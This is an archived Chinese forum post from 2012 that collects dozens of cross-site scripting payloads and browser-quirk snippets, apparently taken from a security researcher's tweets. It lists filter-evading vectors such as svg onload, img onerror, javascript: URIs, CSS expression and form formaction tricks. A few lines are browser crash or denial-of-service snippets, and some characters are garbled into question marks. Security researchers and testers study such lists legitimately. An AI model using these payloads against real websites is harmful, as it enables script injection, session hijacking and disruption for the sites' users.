一些经典的XSS跨站代码整理

彬能哥 發表於 2012-7-6 17:02:45

1<!--) <br />1<!--i <br />document.write('<img src="<iframe/onload=alert(1)>\0">'); IE8 <br />JSON.parse('{"__proto__":["a",1]}') <br />location++ <br />IE valid syntax: 我，啊=1,b=[我，啊],alert(我，啊) <br />alert('aaa\0bbb') IE only show aaa http://jsbin.com/emekog <br /><svg><animation xLI:href="javascript:alert(1)"> based on H5SC#88 #Opera <br />Function('alert(arguments.callee.caller)')() <br />firefox dos? while(1)find(); <br /><div/style=x:expression(alert(URL=1))> <br />Inject <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> enabled css expression,breaking standard mode! <br /><applet code=javascript:alert('sgl')> and <embed src=javascript:alert('sgl')> umm...cute FF! <br /><math><script>sgl='<img/src=xx:x onerror=alert(1)>'</script> chrome firefox opera vector <br /><svg><oooooo/oooooooooo/onload=alert(1) > works on webkit~ <br /><body/onload=\\\vbs\\\::::::::alert+'x'++'o'+'x'+::::::::> <br />vbs:alert+-[] <br /><body/onload=vbs::::::::alert----+--+----1:::::::::> <br />Firefox vector <math><a xlink:href="//mmme.me">click <br /><svg><script>a='<svg/onload=alert(1)></svg>';alert(2)</script> <br />Inj>> <script/src=//0.gg/xxxxx> << <script>...</script> less xss <br />Webkit X-XSS-Protection header is enabled just now :P <br /><svg/onload=domain=id> 22 letters e.g http://fiddle.jshell.net./KG7fR/5/show/ <br /><?xml encoding="><svg/onload=alert(1)// >"> <br /><a "<img/src=xxx:x onerror=alert(1) >x</a> Distinctive IE <br />Also <a `="<img/onerror=alert(1) src=xx:xx>'></h1>">x</a> <br /><h1 "='<img/onerror=alert(1) src=xx:xx>'></h1> IE only <br /><1h name="<svg/onload=alert(1)>"></1h> <br /><img ="1 src=xxx:x onerror=alert(1)//" > works in not-IE <br />javascript=1;for(javascript in RuntimeObject());javascript=='javascript' <br /><body/onerror=alert(event)><img/src=javascript:throw> Firefox Sanbox object <br /><img src='javascript:while([{}]);'> works in firefox <br />for(x in document.open); Crash your IE 6:> <br />localStorage.setItem('setItem',1) <br />Only to find '?'.toUpperCase()==='?'.toUpperCase() <br />J? H? T? W? Y? i? length==2 <br />'?'.toUpperCase()=='I' <br />Also '?'.toUpperCase()=='SS' <br />'?.toUpperCase() =='FF'// alike: ? FI ? FL ? FFI ? FFL ? ST ? ST <br />#Opera data:text/html;base64,<<<<<<<<PH Nj cmlwdD5hb我-勒-个-去GVyd CgxKTwvc 2NyaXB0Pg=>>>>>>>>>> <br />Firefox always the most cute data:_,<script>alert(1)</script> <br /><a href="ftp:/baidu.com">xx</a> <br />http://?????????? works in Firefox <br />RegExp.prototype.valueOf=alert,/-/-/-/;//IE,is there anything else? <br />location='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41' <br />for({} in {}); <br />興味深いhttp://jsbin.com/inekab for Opera only <br /><a href=https:http://www.google.com>x</a> That's a relative path? <br />document.frames==window.frames <br /><a href="jar:xxx" id=x></a> x.protocol=='http:' on #firefox <br />(0).constructor.constructor=function(){alert(eval(arguments.substr(6)))} Easy to decode jjencode and aaencode :D <br />127.0x000000001==127.0.0.1 <br /><input value="&#31sefewfewf"/> Chrome input value block <br /><svg><xmp><img/onerror=alert(1) src=xxx:x /> <br /><img src/="><img src=xxx:x onerror=alert(1)//"> <br />有趣的isindex <isindex formaction=javascript:alert(1) type=submit > <br />chrome:xx - >chrome://crash/ crash? <br /><form action=javascript:alert(1) /><input> Chrome input enter fucked! <br /><form/><button/><keygen/> chrome send empty key,is funny~_~ <br /><form/><input/formaction=javascript:alert(1)> Because <form> not a void element.<form><input/name="isindex"> when name are isindex does not send key. <br /><form id=x ></form><button form=x formaction="javascript:alert(1)">X It like http://html5sec.org/#1 but only chrome support . <br /><script language="php">echo 1 ?> Fascinating. <br />fvck:for(_?in?this)_['match'](/.Element$/)&&console.log(_) <br />location.reload('javascript:alert(1)') //ie only,lol~ <br />{}alert(1) <br />Twitter @jackmasa =P <br />

頁: [1]

琼殿技术论坛's Archiver

一些经典的XSS跨站代码整理